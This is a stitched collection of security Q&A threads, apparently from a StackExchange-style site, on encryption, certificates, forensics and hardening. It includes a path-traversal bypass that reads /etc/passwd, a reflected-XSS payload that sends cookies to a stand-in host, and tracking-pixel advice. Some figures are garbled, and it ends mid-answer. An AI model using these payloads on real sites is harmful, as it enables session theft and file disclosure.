To answer the question, it is a legitimate problem that can cause catastrophic failure. It is not easy/impossible to check every piece of code you just. Nowadays frameworks depend greatly on plugins, extensions and libraries. Opensource does not equal fast security fixes, but we may assume the more people use something, the faster bugs are reported and fixed. Put systems in place to limit the possibilities when it does go wrong. Have a disaster plan, design for failure, use (audit)logs, have daemons crawl the accesslogs and so on. When it comes to backdoor, people often seem to forget the outgoing firewall.


Are files encrypted with 7ZIP vulnerable to password crackers? A client says they can't accept password-protected PDFs to put in their payroll system, so I have to send them without security. I don't want to send unsecured PDFs via e-mail because e-mail is inherently insecure. I figured a good alternative was, instead of password-protecting each PDF, I could encrypt the containing folder with 7ZIP, which I got from https://www.7-zip.org/ You can see the encryption box at the bottom-right:

At first I was optimistic about this option, but a quick Google search led me to articles such as this one where apparently there are easy to find tools, such as 7z Cracker:

"7z Cracker is an opensource cracking tool which can extract any password protected 7zip file".

I also found this answer in this forum that talks about John The Ripper:

"John The Ripper can crack these AES-256 encrypted archives."

Does this mean that 7ZIP encryption is basically useless? Are these password crackers effective at circumventing this security measure? Secondly, are password-protected PDFs also this easy to break into?

7zip is secure since it uses AES-256 in CBC mode that can provide CPA security and there is no problem there. Keep in mind that CBC has no integrity and authentication. The real problem comes from the human side; the password!
7zip uses 219-times iterated SHA256 to derive the AES-256 key from passwords. SHA256 is not a memory-hard function and therefore this is not safe from massive parallelization. The collaborative power of Bitcoin miners can reach around 292 double SHA256 in a year. A single Nvidia RTX 390 can calculate 9502.7 MH/s... Therefore one needs a really good password mechanism to be secure from the password list/guess/search attacks.

A password with high entropy like generated from diceware is recommended XKCD.
Use a password manager like keepass that handles this for you.

Additionally; You need to transfer the password to the other party this means that you need a secure channel to do this. A signal program is a good candidate, or you can go for Diffie-Hellman Key Exchange (DHKE), better its Elliptic curve version (ECDH) to establish a key, and then use a key derivation function to derive a long password.


NTFS volume not recognized by autopsy Using dcfldd, I have imaged one disk of a win10 mirrored volume.

Autopsy does not recognize it as an NTFS file system, but instead shows "SFS" or "secure file system".

The target machine is, indeed, using NTFS. My guess is that because this is a dynamic volume with mirroring enabled, it doesn't recognize it properly.

I still have access to the raw disk, but really need to be able to do file analysis as well.

Autopsy complains with this error:

Invalid magic value (Not a NTFS file system (magic))

How do I fix this so Autopsy can do file analysis?

Here's the output of blkcat -hwv -o 63 sdb.dd 0

If the drive is using Logical Disk Management and you acquired the physical drive (instead of the logical drive presented by Windows), then Autopsy won't know how to interpret it.  It doesn't currently have LDM support.


Is there an SSL / TLS Certificate state-cache on Windows, IE, and Outlook and how it it managed? Today I changed the SSL certificate that 3,000+ Outlook clients are using.  In doing this I changed the certificate to an "older" one that had the same subject name, expiration and everything else.  Only the thumbprint and one SAN name changed.  Once reports came in of an issue, I reverted the change.  (1 hour)

It seems that in doing this several deployed instances of Outlook hung, and despite my 15 years of working with Outlook in a support capacity, I couldn't salvage the profile and had to recreate it.  (I don't want to repeat this process for the remaining 20+ profiles)

I can only assume a SSL cache exists in Windows, Outlook, or in it's IE dependency.

This brings me to my question:

What SSL data exists in the IE SSL state button? Is this a cache of web HTTP data, or certificate data?
Is there a per application SSL cache and/or a global one?  (e.g. schannel, etc)
How do I edit or manage this cache?

Here is a picture of the SSL editor in IE (see "Clear SSL State")

Update:

Even though the certificate is properly formed, unchecking the following text box in Outlook configuration appears to correct the issue

The 'Clear SSL State' button is there to purge the SSL cache of selected Client Certificates used for authenticating to SSL-based services. It's just there to make client-certificates work faster (partly by remembering which certificate you used to authenticate to a certain site). It doesn't cache previously seen SSL certificates.

Outlook+Exchange can use Client Certificates for authentication, but it's not a common configuration; most sites stick with NTLM or Kerberos over SSL.

Outlook+IMAP can't use client-certificates, but I may very well be wrong; I haven't heard of an instance where they're used.

What you may be running into instead is problems with the Windows SSL Validator.


File inclusion check bypass The following function is used to protect from arbitrary file download:-

function file_download($file_name, $file_path) {
    $allowedExtensions = array(
            "csv"
            );
    $checkFileName = explode(DIRECTORY_SEPARATOR,$file_name);
    $extension = explode(".",$file_name);
    end($extension);
    if (file_exists($file_path) && count($checkFileName) == 1 && in_array(strtolower($extension[key($extension)]),$allowedExtensions)) {
            readfile($file_path);
            exit ;
    }
    return FALSE;
}

Please help bypass the usage is like follows:-

file_download($_GET['file_name'], "path".$_GET['file_name']);

You would simply set $file_name to passwd.csv and file_path to /etc/passwd.


Bidirectional encrypted server to server communication using TLS I have 2 Windows servers and would like to set up encrypted communication between them using TLS. I've been reading up on TLS and X.509 certificates and I think I have a reasonable plan, but would like some feedback to correct any errors in my understanding of how this stuff works. My plan is to generate a self-signed root CA certificate using makecert with the -cy authority option, then use makecert to create 2 server (-eku 1.3.6.1.5.5.7.3.1) certificates and 2 client (-eku 1.3.6.1.5.5.7.3.2) certificates using the -iv, -ic, and -sky exchange options to sign the client and server licenses using the root CA certificate, use pvk2pfx to create a .pfx file for each of the client and server licenses. Then, I would install the .cer file for the root CA on both of the servers and place it in Trusted Root Certification Authorities's Certificates folder in the Local Machine store. Then I would install the .pfx files for 1 server and 1 client certificate on one of the servers in Personal certificates for the Current User store of the account used by the application and do likewise with the remaining server and client certificates on the other server. Afterward, I would either secure in offline storage or destroy the .pvk files.

I'm expecting that once this is done, regardless of which host initiates communication, the host acting in the server role will be able to authenticate the client and the client knows it is communicating with the real server (not a man-in-the-middle).

Is this a correct, logical, secure plan for configuring encryption between the two servers? If not, what am I missing?

You can simply create a unique certificate signed by a purpose specific CA and force both machines to only accept certificates from that CA. It would be the Apache equivalent of

SSLCACertificateFile /your/CA/folder/ca.crt
SSLVerifyClient require
SSLVerifyDepth 1

This approach is scalable, as you can include a third machine in the future in your "security ring" to contact any of the existing machines. Only those with a signed certificate from your CA will be accepted into your ring.


SSL Certificates Management and Tracking I'm not aware of any frameworks/tools to achieve what we're trying to do, but posting here to hear experts opinions and comments on how this is done at large organizations and recommended automation approaches.
We have automation in place to identify, renew, and track SSL/TLS certificates expirations, but we're unable to see or track all the locations or programs where a certificate is installed unless application team or dev team knows about it.
For example, we create a SSL certificate for foo.internal.net and copy the same file to Apache, Java key store, and many other places. Wondering if there are any products or libraries that can track the deployment of given cert irrespective of the location, program, and OS, with semi or complete automation approach.
I am well aware that we can start a process and keep adding to that CMDB or DB, and keep building forever, to capture all this data.
Are there any approaches that would address some or all of these requirements?
Thanks

1. You must know where a cert is located because it is related to a private key. A leakage of such cert/key could be a step to attack whole infrastructure, just imagine leakage of a shared cert/key which is used for LDAP and equally for an unimportant HTTPS service. Wildcards certs are bad.
2. Copying that manually is not good solution.
For first issue you must have a management. For the latter you must have an automation which depends on the management.
The management depends on how you want to work. Do you run mostly containers? Is your workload static or dynamic?
The automation depends on a decision if you would implement "push" model, ie. one pushes changes to targets, or a kind of "pull" mode when targets update themselves from a trusted source.
There are products covering all of this. For example HashiCorp Vault is able to generate short-live TLS keys/certs via HTTP API. An update procedure could be initiated from a trusted management node or from the machines using these keys/certs via a scheduled job (cron job in UNIX world). Or you could have consul agent running on all managed nodes which would look for changes in consul's K/D database, and when a value (base64 encoded key/cert) changes, consul agent would react - save update key/cert, restart a TLS service.


Apache mod_rewrite vulnerability The public exploits of apache mod_rewrite asks for the rewrite path in order to work, and I am unsure what the rewrite path is referring to. What should I supply in rewrite path?

Your best bet is to read the mod_rewrite documentation which explains how rewrite works. From that page:

  Summary The mod_rewrite module uses a rule-based rewriting engine,
  based on a PCRE regular-expression parser, to rewrite requested URLs
  on the fly. By default, mod_rewrite maps a URL to a filesystem path.
  However, it can also be used to redirect one URL to another URL, or to
  invoke an internal proxy fetch.

  mod_rewrite provides a flexible and powerful way to manipulate URLs
  using an unlimited number of rules. Each rule can have an unlimited
  number of attached rule conditions, to allow you to rewrite URL based
  on server variables, environment variables, HTTP headers, or time
  stamps.

  mod_rewrite operates on the full URL path, including the path-info
  section. A rewrite rule can be invoked in httpd.conf or in .htaccess.
  The path generated by a rewrite rule can include a query string, or
  can lead to internal sub-processing, external request redirection, or
  internal proxy throughput.

So the path is whatever you want it to be.


Is PBKDF2-based System.Cryptology.RFC2898DeriveBytes() "better" for Unicode Password hashing than traditional methods? When is it appropriate to use RFC2898DeriveBytes versus a typical hash?

Update

I now understand that a KDF is typically used to create a symmetric key for possible use in  encrypting a stream.  I also now understand that PBKDF2 obsoletes PasswordDeriveBytes.  The intent of this question is to explore the possibility of re-purposing the KDF as a strong way to store a hashed password.  The content I intend to encrypt is a Unicode string that a human can remember and type into a computer.

The reason I'm interested in the KDF is because it is

Slow, and therefore computationally expensive to create a rainbow table
The base library in .NET is FIPS approved and it's possible to use this KDF with NIST recommendations if we use SHA-256

Question

  What are the arguments for/against using a KDF in this manner as opposed to the normal hashing method?  (Disclaimer: What is the normal hashing method?)

PasswordDeriveBytes implements the PBKDF1 key-derivation function. A KDF is a function which transform a piece of secret data (here, a "password", i.e. the kind of data which fits in a human brain and can be typed with human fingers) into a sequence of bits adequate for algorithms which need a symmetric key (e.g. symmetric encryption). A KDF is not meant for anything else, in particular password storage.

A hash function can be used as a KDF, provided that the symmetric key you need is no longer than the hash function output size. However, such a KDF would be very crude. One feature which good KDF should provide is to be adequately slow. This is because "passwords" are, by nature, vulnerable to exhaustive search (also known as "dictionary attack": users tend to choose as passwords rather simple words or combinations which can be guessed with only a few millions or billions tries). In a given system, one can usually tolerate a relatively slow KDF: a user trying to authenticate will not see the difference between a 1µs and a 1ms delay for the key-derivation function; but a 1000x slowdown is deadly for the attacker: it converts a one-day breaking effort into a three-years breaking effort.

PBKDF1 includes an "iteration count" which is a parameter meant exactly for that: to make the key derivation adequately slow, in a configurable way. A simple hash function is just too fast for that. Usage as a KDF is precisely where you would prefer PBKDF1 over a hash function. Actually, PBKDF1 is not recommended; PBKDF2, from the same standard, is supposed to be more robust.

Hash functions are much more generic objects than KDF, and have many other usages, which KDF do not fulfill.

What you want to do is unclear: you use the term "signature", which normally means "asymmetric digital signature" as with RSA or ECDSA; there are some people who tend to use the term "signature" to designate a symmetric integrity check, such as a MAC (calling it a "signature" is improper, but widespread). However, this entails some piece of secret at some point, a key, and a hash function is key-less.


Do thin-clients need antivirus? I've just taken over as IT Manager in an environment where most of the end-users are using HP-based Win7 thin clients (approx 50 seats) to access a remote desktop server.

All the servers & fat clients on site are protected with ESET Endpoint Antivirus, however I notice none of the thin clients have any type of AV enabled.

A brief Google search doesn't show much interest in securing these little beasties.  Should I look into a lightweigh AV system for these, or are they fine?

UPDATE:

These thin clients are HP T510's, running Windows 7 Standard Embedded.  They don't seem to be using PXE Boot - by the look of it, each has its' own Windows OS which presents them with a local desktop on boot.  This desktop has a RDP connection, which they use to access the main server.

The Remote Desktop server does have antivirus on it, but there's no indication that the thin client is collecting anything from the server directly.

They don't have any browser available on the local OS, but I would be unsuprised if that's just a result of the previous IT folks simply hiding applications.

These machines aren't joined to the AD domain, and log in automatically, however it seems they aren't logged in with any admin rights.

It might depend on your definition of "thin client".

The thin clients I know download just enough from the server to do their job, and that includes things like programs. As such, they will download the installed AV package from the server. In this way, the thin client itself doesn't need one, because it "borrows" it from the server.

If the server that serves the thin clients does not have AV, then you've got a problem.


Nessus Default Ports When scanning with nessus and defining the ports, there is an option where you could simply type "default" and nessus will scan certain ports. I was wondering what the ports were? I am assuming the ports are the 100 common ports from nmap?

Default = All common ports listed in the configuration file (/etc/services).

Extracted from official nessus documentation page.


OpenSSH default/preferred ciphers, hash, etc for SSH2 When using OpenSSH server (sshd) and client (ssh), what are all of the default / program preferred ciphers, hash, etc. (security related) and their default options (such as key length)?

So, what are the defaults for symmetric key, MAC, key exchange, etc.

The default algorithms (that is, the algorithms which the client and server prefer to use when given the choice) depend on the client and server implementations, how they were compiled and configured. So it may depend on the software vendor, software version, operating system distribution, and sysadmin choices.

On an Ubuntu 12.10, man ssh_config indicates that the default order for encryption is:

            aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,
            aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,
            aes256-cbc,arcfour

while the default order for MAC (integrity) is:

            hmac-md5,hmac-sha1,umac-64@openssh.com,
            hmac-ripemd160,hmac-sha1-96,hmac-md5-96,
            hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,
            hmac-sha2-512-96

The key exchange algorithm would follow this order of preference:

            ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,
            diffie-hellman-group-exchange-sha256,
            diffie-hellman-group-exchange-sha1,
            diffie-hellman-group14-sha1,
            diffie-hellman-group1-sha1

Of course, preferences are subject to negotiation. An algorithm will be selected only if both the client and server support it (in particular, ECDH key exchange support is rather recent), and both client and server have their say in it (if they do not have the exact same preferences).

A survey is theoretically doable: connect to random IP address, and, if a SSH server responds, work out its preferred list of ciphers and MAC (by connecting multiple times, restricting the list of choices announced by the client). OpenSSH makes usage surveys but they are not as thorough (they just want the server "banner").


Locating a stolen device Yesterday my friends Samsung Galaxy S3 was stolen. We have found the perpetrator but cannot yet prove anything. He is uploading photos to social media via the phone. Is there any chance to download and analyze the photo by some means to see from what device it was shot? What can we do in a circumstance such as this? The device also contains sensitive data. What can we do ?

Yes you could download the image and check the exif data. Some devices store the GPS co-ordinates as far as I know


Can I detect OS and browser spoofing on webserver side? My questions refer detecting fake User-Agent, in sense of spoofing user OS, web-browser and other info sent in headers from users browsing resources on my server.

Is there a way to detect if user is using some tools to fake his fingerprint, e.g. by setting a fake User-Agent? Is it possible to detect if a user changes it's headers by browser developer tools or some other more sophisticated anonymization software?

This may not be possible directly from Apache however analysis of the network HTTP packets themselves may reveal details such as TTL and TCP Window Sizes that would indicate that they don't match up with the platform/browser.  I am sure some Intrusion Protection Systems (IPS) offer this capability out of the box.


Is there some OSS toolchain for disallowing execution of all unsigned binaries on linux? Say I'm running a server with Ubuntu and an application stack and I want to lock down potential malicious access.

Is there some OSS toolchain for disallowing execution of all unsigned binaries on linux? I'm imagining some toolchain that allows me to sign every binary on the system at some point and then disallow execution of anything that isn't signed from then on.

Would there be any benefit to such a system? If standard interpreters like bash and python are present and signed they could allow an attacker with userspace access to read all my data, launch a reverse shell etc.

Integrity Measurement Architecture gives you that. See
https://wiki.gentoo.org/wiki/Integrity_Measurement_Architecture#Using_digital_signatures_for_immutable_files
It is mostly useless if you keep a powerful interpreter on the system, but a shell wouldn't necessarily qualify (no direct syscalls for example). So it can be a very good tool to exploit proof a locked down system.


SSL certificate manangement At the moment in our setup, we only have one SSL certificate used by 10 staff to access our web portal via https from out of office.

One person is leaving, but he would still be able to access our web as he can still keep the single certificate on his device. We want to stop his access, but we can't revoke the certificate which would affect other people.

One obvious solution is to recreate new certificates one for each user. I'm wondering whether there is another solution to still use the current one certificate but stop only specific user?

One certificate equals one key. If multiple person are tied to the same key, you cannot:

Change the key for a single of these person
Give attribution to actions, a.k.a. properly authenticate an individual.

No there is no way around this. Either the certificate is invalidated, or it's still valid. There's is no middle ground.

If you want to avoid the trouble, issue one certificate per individual.


How to convince the boss of an Acceptable Use Policy So I know what SHOULD be in an AUP. This question circulates more around how do I explain to my bosses the importance of having an AUP and ensuring everyone not only knows of it but understands the value and consequences of it.

We are an eCommerce company based on the East Coast that ship nationally and to several other countries. Our orders are all processed via the web by users on our operations teams that utilize their PCs/Macs to 1. Login to the admin consoles, 2. Manage Orders and 3. Handle administrative tasks and email

Are there any specific laws or studies that point to the value of needing an AUP for Internet Access and to safe guard confidential data?

EDIT - We DO handle Credit Card Info. We do not store the numbers (yet..internal debate and reasoning for this). Some people may have access to such data though (Even yb calling to our CC Gateway provider to get the number in certain cases). This means we are bound by PCI-DSS Requirements

The strongest case for AUP is that you can address or discipline risky behaviour before it bites you rather than having to mop up afterwards.

On the compliance front there is the issue of employer liability for employee actions on the Internet (which I believe is an issue in the US). If the workstations handle or share a network with systems which handle credit card data you could also invoke the final requirement of PCI-DSS which states that you must "Maintain a policy which addresses information security".


Samba open ports, not being filtered nmap scan of my ubuntu computer, output when ran with -sV:

139/tcp  open  netbios-ssn         Samba smbd 3.X (workgroup: MEDIAPC)
445/tcp  open  netbios-ssn         Samba smbd 3.X (workgroup: MEDIAPC)

I know what other services are being run but I do not know what is being run on 139 or 445. I did a little bit of googling and found:

http://www.speedguide.net/port.php?port=445

http://www.speedguide.net/port.php?port=139

Both of these sound like they are related to windows and or file sharing in windows. My computer is set up with a samba share, but nothing I would want broadcast over the web.

I am wondering, are these ports actually open? If so, should they be? From the googling I did it sounded like a lot of people have these ports show up as "filtered" yet mine are showing up as "open".

I am mainly wondering because I have disabled UPnP and figured this would mean I would have an idea of all my open ports. I was not expecting to see 139 or 445 tcp ports open so I wondering if there is some reason for this. Just looking to possibly learn more about my network and increase security.

nmap scan for my router using -sV:

Nmap scan report for router.asus.com (192.168.1.1)
Host is up (0.011s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE     VERSION
53/tcp   open  domain      dnsmasq 2.76-g0007ee9
80/tcp   open  http        httpd/2.0
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
8200/tcp open  upnp        MiniDLNA 1.1.5 (Linux 2.6.38-11-generic-pae; DLNADOC 1.50; UPnP 1.0)

Since you already know you're running Samba, then explaining that running netstat -nap as root on the host will tell you what daemon is listening is somewhat redundant - but worth mentioning for anyone else reading this in future.

  I only ever want the samba share to be able to be seen within my LAN.

You've told us nothing about how your LAN connects to other networks. Assuming that this not part of a larger corporate network, but just a domestic / small office environment, then presumably you have some sort of router. Even very basic internet routers provide the capability to block ports. And it would be very unusual in this context to have anything other than a single masqueraded IP address. In such a case, unless you have explicitly enabled port forwarding on the router (or the router is compromised) the outside world will not be able to connect to your server. Having said that, I would consider it good practice to block the router from connecting to these services on the host itself with IPtables. Although there are gui tools (such as Firestarter) it may be difficult to add a rule to exclude specific hosts from access.

Of course, if my assumptions about your network are different, then the solution is different.


How does the WhatsApp chat history recovery work together with their encryption mechanism? As WhatsApp states: every time a user installs or updates the app, a new key pair would be generated on the user's device. So I assume that the chat history on iCloud which was encrypted by the old public key should not be decrypted and readable.

But, what I found is that: users are still able to recover and read the chat history even though they don't have the old private key (tested by changing to a new device).

So, how is this achieved by WhatsApp? The private key never goes on the network, and was not even stored on the user's device anymore after updating the app or changing to a new device. How does the chat history recovery work then?

WhatsApp includes a feature to explicitely cope with users losing their phones or the phones being broken. That feature is discussed in a article from the Guardian where it is seen as a back door:

WhatsApp has the ability to force the generation of new encryption keys for offline users, unbeknown to the sender and recipient of the messages, and to make the sender re-encrypt messages with new keys and send them again for any messages that have not been marked as delivered.
The recipient is not made aware of this change in encryption, while the sender is only notified if they have opted-in to encryption warnings in settings, and only after the messages have been re-sent. This re-encryption and rebroadcasting of previously undelivered messages effectively allows WhatsApp to intercept and read some users’ messages.
[Whatsapp justifies that to cope when] a contact’s security code has changed. We know the most common reasons this happens are because someone has switched phones or reinstalled WhatsApp. This is because in many parts of the world, people frequently change devices and Sim cards. In these situations, we want to make sure people’s messages are delivered, not lost in transit.

That indeed allows you to recover your chat history in your new phone without any access to the old key. But that also mean that it is easier to steal WhatsApp exchange that end to end encryption should allow. And it also means that WhatsApp can actually give the full history to legal authorities if they were asked to, simply by simulating a new device...


Writing errors to Apache's log file from PHP - are there any pitfalls? I'm updating an application to write slightly more verbose errors to the system log file (in this case, /var/log/apache2/mysite_error_log).   I hope that I'm not asking the proverbial stupid question - but are there any potential issues with including user-passed data such as invalid arguments passed to a page in the Apache log file?

The log file is text and read/write to the web server, but I don't want to write potentially harmful text/data that could be exploited if the log file is subsequently opened/read via command line.

Yes.  This data should be useful to help debug errors, however, there are at least a few (maybe more) potential security pitfalls to consider:

Is any of the data privacy sensitive (like social security numbers, passwords, addresses, etc...?)  If so, there could be privacy concerns, but those most of those concerns should already exist with the website anyway.
Logging passwords would be exceptionally dangerous as it would be a plain-text storing of the user's password, which is very bad.  If an attacker would be able to open the log file, he could look then look at all passwords entered!  On this point, an administrator could also look at the user's password, which is not supposed to happen (because the administrator could then impersonate the user), so I would highly recommend not logging the content of passwords.
Are the files adequately protected?  They should only be accessible by administrators.  The system needs to be patched consistently to deter potential attackers from elevating their privilege to root to read the data.


Why doesn't DLL injection works on Windows 10 for native Windows binaries (e.g. calc.exe)? Why doesn't DLL injection works on Windows 10 for native Windows binaries (e.g. calc.exe)?

I've been playing around with DLL injection by reading some old articles to that use, e.g., calc.exe to inject into.

However, on my up-to-date Windows 10 machine, I've come to the conclusion that I cannot inject into Windows own binaries (e.g. calc.exe) and some third-party applications (e.g. Chrome).

For other processes, including my own programs, DLL injection works just fine, so I guess my injector works just fine...

What is the reason that I cannot inject into these processes?

Run the PowerShell Get-ProcessMitigation command on a process id (pid) of a running calc.exe.

PS> Get-ProcessMitigation -Id <calc_pid>

You will be informed that it will only load Microsoft Signed Libraries.

MicrosoftSignedOnly: ON

This is new in Windows 10.


How do I securely identify a remote (self programmed embedded) device in PHP? Is there a reliable way in PHP to identify a device that might be behind a Router (so the IP is not unique)?

Background: I have several embedded devices (self programmed & adaptable) that contact a webserver (php+mysql) with status updates. These updates are then - if the source is confirmed - saved to a database.

As I understand it $_SERVER['REMOTE_ADDR'] usually can be trusted (except some IIS configuration where it may - under special circumstances - wrongfully return 127.0.0.1; but different story)
Anyhow since I use SSL, the IP address really should not be a problem, because a handshake is required and if the IP is faked or simply wrong, the connection should not be established
For now I require IP addresses to be whitelisted by admin, for an status update to be accepted
The device additionally sends the MAC address via $_POST to identify the different modules with identical IP address (I know this can very easily be forged, and right now will be trusted if the IP address is trusted)

So first of all I am not sure if the IP address in itself is enough for it to be safe from attacks from the outside

Secondly if the device is behind a router, it will have the same IP address as every PC/device on that network. So about anyone there could forge a status update with a fake MAC address (simply as post variable), and since the IP address is whitelisted it will be trusted

So is there any way of confirming the identity of a device, or do you know a better way of doing this?

Aside: Going the other way, and have the webserver poll the different devices might be an option, but since there might be many (> 2000) devices of which we need the very last status (change) I thought it to be inefficient.

I have also heard of using a signed certificate, or multiple (for different clients), but I don't know how to go about that, so thanks in advance for every bit of information.

Usually I don't post (a lot of) questions, but this is really hard to Google - at least for me!

Cryptographic point of view: the only way you can distinguish, from the outside, a fake device from a genuine one is by making the genuine device "know" some value that the attacker does not know.

This can be the equivalent of a "password" (since there is no human involved, that password can be a sequence of 40 random characters, i.e. something quite strong and thus unguessable by attackers). You can store that in a custom HTTP header, or the standard "Authorization" header, or as some cookie value, or encoded as a parameter in the URL; all of these are supported by most Web frameworks, both on client and server.

You can also use X.509 certificates. SSL supports client-side certificate authentication. In that case, the "secret" value on the device is an asymmetric private key (usually RSA) and you must arrange (with a custom PKI) for the issuing of one certificate per device. Certificates are cool if you don't want your server to keep a copy of the device secrets (or hashed version thereof), e.g. because you would like to deploy new devices without having to actually inform the server. If that's not a problem with you, the "password" method will be easier than dealing with certificates.

Either way, you certainly do not want to put the same secret value in any two distinct devices. You really want to have device-specific secrets; otherwise, someone "opening" one of your devices will endanger your whole system. With device-specific secrets, you can disable authentication for some known subverted devices, from the server, without impacting the other devices.

Without a device-side secret value of any kind, your problem has no solution. In the Internet Protocol, machines are isolated from each other; they only see IP addresses, which are not "protected" in any way. The scope of hardware elements such as MAC addresses stops at the first router (and they can be faked easily anyway).


How to Secure REST API from being crawled when serving public content ? I have a ReactJs web app, an Android app that both consuming a REST API built with django, the whole project is for media/news, the biggest part of the REST API is public content, there is a little part where user has secured API endpoints with Token based authentication.

The problem we are facing is that there are more people who crawl our REST API and duplicate our content in many places and we can't keep track of those and stop them, so we are thinking of some way that we can make the REST API HARDER to be crawled.

My current suggested solution: Encryption but my current understanding of encryption, is that you encrypt the REST API responses from the server, and in the client in javascript you decrypt it, but you still need a decryption key or token, so you will face other problems of saving that token in the client side.

Is there any better method of securing the api than encryption ?

What are the best practices in saving the token in the client side?

Thanks.

I used to write web scrappers as a job, and here are my two cents on the toughest issues I faced when I was on the other side of your problem.

Load some or all of the content via several AJAX calls. If the scrapper isn't tailored to your site, this will stop the scrappers. In practice, you could answer with a JSON which would have only the beginning of the content and a nonce token which would be requested to fetch the next part of the content.
Additionally, if you know that your REST api should only be used from your React app, you can add a long duration token from Django to the main React template. Then the REST API would require the content ID as well as that unique token. In your database, you would assign that token to a given IP address and make it expire in a reasonably small amount of time. This would require bots to fetch the HTML side of the app first to get that token and then fetch the content itself.
Throttling was usually an annoyance. The implementations I encountered were based on the IP address and users were allowed 10 requests per second. That's much more than what a typical human would do. To pass that, my code would have to keep track of the time when ten requests were sent, and then on timeout request ten more pieces of content.
Add a honeypot to the disallow of your robots.txt. Nefarious bots don't follow the rules. Also part of that same job, we would redistribute the content and had others trying to scrape it. This was the most effective way of stopping most bots: they were allowed three hits to the honeypot after which they blacklisted for 36 hours unless they succeeded in solving a captcha (we were using an external tool for that). For the Django integration, we used coded that up as a middleware so it would apply to all pages. In order for this to have a minimal performance issue, we used Django's cache to store which IPs were blacklisted or whitelisted (one would be added to the whitelist if they succeeded in solving the captcha).


tracing an email address with out receiving an email from the subject Is it possible for someone to trace you or get your IP address and info needed to track you if they have your email address but have never received or got hold of an actual email from you? If so how can they do this?

You can send them an email and embed an IP tracking "image" into the email.

There's a lot of websites providing this service.

This will of course work only if they open the email.


using reflected xss to get the cookie from a test user My school has provided us with a private server (HTTP) for each student that we can test reflected XSS attack
we are asked create a test user.
Create a url with malicious parameter and send it to the test user to steal the cookie and send it to an external and server e.g.Pastebin and the use that cookie to login.

I came up with this script that allows me to get the cookie:

<p> <script> alert(document.cookie) </script> </p>
url/?<p> <script> alert(document.cookie) </script> </p>

Second step is direct the cookie to differnt server,

<p> <script> var xhr = new XMLHttpRequest();
xhr.open("POST",myUrl, true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('Access-Control-Allow-Origin', '*');
xhr.send(JSON.stringify({
    value: document.cookie
}));</script> </p>

I ma getting this error has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

My question is: is there a better way to do the aforementioned steps ?

create a url with js script
send the cookie to external server
login using the cookie

You are getting that error because of the same origin policy (SOP). The default policy does not allow you to view data from other domains. However, writes are typically allowed, but since you are specifying custom headers, the browser will likely block it altogether after making a preflight request.

The easiest way would be to drop those custom headers, send it as normal form data instead of JSON, and the request should go through. You will still see the error on the client, since it cannot read the response, but it should've worked and will have been received by the server.

You could even simplify your payload. It could be as simple as:

<script>document.location = "https://yoursite.example/?cookies=" + document.cookie;</script>

Of course, that's a little more intrusive to the user, but there are similar ways that could give a better user experience.

Side note, you don't need the "Access control allow origin" headers on the client; that is a server-side header.


Wireless Security Pen testing Setup I had a Asus N82J laptop with a dual boot setup.  I boot into Kali and Windows 7.  Long story short because of my dual boot with Grub I corrupted my HDD the operating system kept moving blocks of memory around.  I've obtained a new SSD and 2nd drive HDD and starting from scratch.  I still want the functionality of Kali Linux to see my wireless.  I've install VMWare work station 10 and I have a VM with Kali in it with a Windows 7 host.  I have a USB external Alfa antenna AWUS036NH which seems like a bit of work getting the drivers for this.  Is this the best setup for wireless pentesting?  Or is native Kali Linux the best route?  I have to have a Windows OS as I'm a MS developer.

As VMWare workstation provides USB Passthrough, it should be fine using USB wireless cards and doing testing from a kali/linux Virtual Machine.

I say should as there's always a risk of bugs in how VMWare passes the data through to the guest VM, so it could have an impact in some circumstances.  That said, my experience of VMWare Workstation and using USB devices in guests has been pretty positive, so yep overall I'd say that's a reasonable solution to your problem.


Storing passwords on a home computer I remember all the passwords (and variations of passwords) that I use for various sites online. The problem is not that I forget a password, but that I forget which password goes with which site. And one usually only gets a few tries logging in somewhere.

So my idea is to create a file with the various places. For each place, I will then have the password to that place hashed. So it might say

  facebook.com: 9a618248b64db62d15b300a07b00580b

That way, if I forget a password to facebook, I can go through the list of possible passwords and generate the hash for each one. The one that has a hash matching the one saved is the password.

Is this method secure? Are there better alternatives?

"Is [x] secure?" or "Is [x] more secure than [y]?" is always a tricky question to answer. In the end, you have to boil each option down to the strengths and weaknesses of its components and then make the decision based on your own needs to balance security and usability.

Here, your method of protecting passwords is best compared to existing tools like KeePass and TrueCrypt. I'd like to give you my comparison of these options in terms of Confidentiality, Integrity, and Availability (three core tenets of security) as well as Usability. For our purposes KeePass and TrueCrypt are on roughly equal grounds, so I'll just lump those together. We'll call your method HashPass.

First, a few assumptions must be made in order to perform an objective analysis.

HashPass does not use any encryption. Otherwise, it may as well just be another layer on top of something like KeePass/TrueCrypt.
Users are using the same password on multiple systems, but perhaps not all. Whether you personally do this or not will affect the level of security offered by HashPass. However, to answer this question for the general case, one must assume a "normal" end-user and they very often re-use passwords.
HashPass uses a unique salt for each entry. This is general good practice for hashing passwords, to prevent a single pre-computed table from being able to break the entire database in one swing.
HashPass is using a tried-and-true hashing implementation based on a strong algorithm. Otherwise, we almost might as well not bother hashing.

Confidentiality

HashPass

Pros

Each password must be individually attacked.

Cons

Weak passwords may be compromised faster. These passwords may be weak due to user choice, or due to restrictions of the systems on which they are used - the latter being beyond the control of HashPass or the user.
Knowledge of one site's password greatly simplifies attacks on entries for other sites where that password is reused. This may be gained by any number of means, many of which do not require a compromise of the local system.

KeePass/TrueCrypt

Pros

The database password can be as long and complex as the user likes - potentially well beyond the limitations of some or all of the systems represented in the database.
The database may additionally be protected by the use of key files or other authentication mechanisms which go well above and beyond the protection of a simple password.
The database key(s) cannot be attacked or stolen without first compromising the local system, unless the database is protected by a password that is also in use on a remote system and it is not additionally protected by a key file(s) or other authentication mechanism. (In short, protection of the database key(s) is entirely within the control of the user.)

Cons

Compromise of the database key will result in simultaneous compromise of all passwords in the database.

Integrity

HashPass

Pros

I can't think of any, in comparison to KeePass/TrueCrypt.

Cons

